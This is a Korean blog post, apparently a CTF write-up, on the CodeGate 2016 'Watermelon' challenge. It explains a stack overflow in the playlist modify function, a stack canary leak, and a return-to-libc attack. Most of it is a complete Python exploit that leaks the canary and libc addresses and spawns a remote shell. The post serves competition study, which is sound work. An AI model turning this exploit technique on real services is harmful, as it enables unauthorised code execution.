본문 바로가기

ctf

[CodeGate 2016 CTF] Watermelon

watermelon: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=155b637b98c19cff6d3fce40c52dfe301ef746b0, stripped

32bit 에서 돌아가는 바이너리이다.

 

해당 바이너리에는 NX, Stack Canary 가 존재한다.

 

위 바이너리는 간단한 음악 playlist 관리하는 프로그램이다.

ebp-113C 위치에서부터 number, music name, artist name 이 쭉 들어간다.

 

add_playlist() 함수 부분이다. music name 과 artist name을 21byte씩 입력받는 것을 볼 수 있다.

 

modify_playlist() 함수 부분이다. music name은 20byte를 받고 있지만 artist name 부분은 200byte 만큼 받는다.

이 부분이 취약점이 터지는 부분이다.

 

=> playlist 는 100개를 만들 수 있는데, playlist를 100개 만들고, number의 artist 를 200byte 만큼 쓰게되었을 때 ret 주소를 덮어쓸 수 있다. view_playlist() 함수에서 canary 값을 leak 하고 난 후, ret 함수를 통해 libc 주소를 구해야 한다.

이 과정에서 libc 주소를 구한 후 다시 main 시작 주소로 루틴을 변경하여 RTL 공격을 하면된다.

 

요즘 느끼는건데 pwntool 로 짠 코드에 비해 exploit 코드가 상당히 지저분하고 길다.. pwntool 공부를 할 필요성이 느껴진다.

 

- - - - - - - - - - - - - - - - - - - - - - - - - - -exploit.py - - - - - - - - - - - - - - - - - - - - - - - - - - - -

from struct import *
from socket import *
from telnetlib import *
import time
import hexdump

p = lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)[0]


printf_plt = 0x08048500
printf_got = 0x0804c010
main = 0x08049490

printf_offset = 0x4d410
system_offset = 0x40310
binsh_offset = 0x16084c

payload = "A"*64


s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.127.162', 11114))

print s.recv(1024)

s.send("woosunbi\n")
time.sleep(0.3)
print s.recv(4096)

for i in range(0, 100):
        s.send("1\n")
        print s.recv(1024)

        s.send(str(i) + "\n")
        s.send(str(i) + "\n")

        time.sleep(0.3)
        print s.recv(1024)

s.send("3\n")
time.sleep(0.3)
print s.recv(102400)

s.send("99\n")
print s.recv(1024)

s.send("1\n")
print s.recv(1024)

s.send(payload + "\n")
print s.recv(1024)

s.send("2\n")
time.sleep(1)
leak_data1 = s.recv(1024000)
#hexdump.hexdump(leak_data1)

# canary leak
canary = up(str(str('\x00') + leak_data1[11194:11197]))
print "[*] canary = " + hex(canary)

 

payload_1 = "A"*64 + p(canary) + "A"*12
payload_1 += p(printf_plt) + p(main) + p(printf_got)

s.send("3\n")
time.sleep(0.3)
print s.recv(1024000)

s.send("99\n")
time.sleep(0.3)
print s.recv(102400)

s.send("1\n")
print s.recv(1024)

s.send(payload_1 + "\n")
time.sleep(0.3)
print s.recv(10240)

s.send("4\n")
time.sleep(0.3)
leak_data2 = s.recv(10240)


printf_libc = up(leak_data2[72:76])
print "[*] printf_libc = " + hex(printf_libc)

system_libc = printf_libc - printf_offset + system_offset
print "[*] system_libc = " + hex(system_libc)

binsh_addr = printf_libc - printf_offset + binsh_offset
print "[*] /bin/sh addr = " + hex(binsh_addr)

print leak_data2

 

# exploit

payload_2 = "A"*64 + p(canary) + "A"*20
payload_2 += p(system_libc) + "AAAA" + p(binsh_addr)

s.send("woosunbi\n")
time.sleep(0.3)
print s.recv(1024)

for j in range(0, 100):
        s.send("1\n")
        print s.recv(1024)

        s.send(str(j) + "\n")
        s.send(str(j) + "\n")

        time.sleep(0.3)
        print s.recv(1024)

 

s.send("3\n")
time.sleep(0.3)
print s.recv(102400)

s.send("99\n")
time.sleep(0.3)
print s.recv(1024)

s.send("1\n")
print s.recv(1024)

s.send(payload_2 + "\n")
print s.recv(1024)

 

s.send("4\n")

t = Telnet()
t.sock = s
t.interact()

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

'ctf' 카테고리의 다른 글

[CodeGate 2016 CTF] Fl0ppy  (0) 2016.12.21
[HolyShield 2016 CTF] pwnit  (0) 2016.12.19
[SECCON 2016 CTF] cheer_msg  (0) 2016.12.12
[CodeGate 2015 CTF] bookstore  (0) 2016.11.14
[CodeGate 2015 CTF] systemshock  (0) 2016.07.30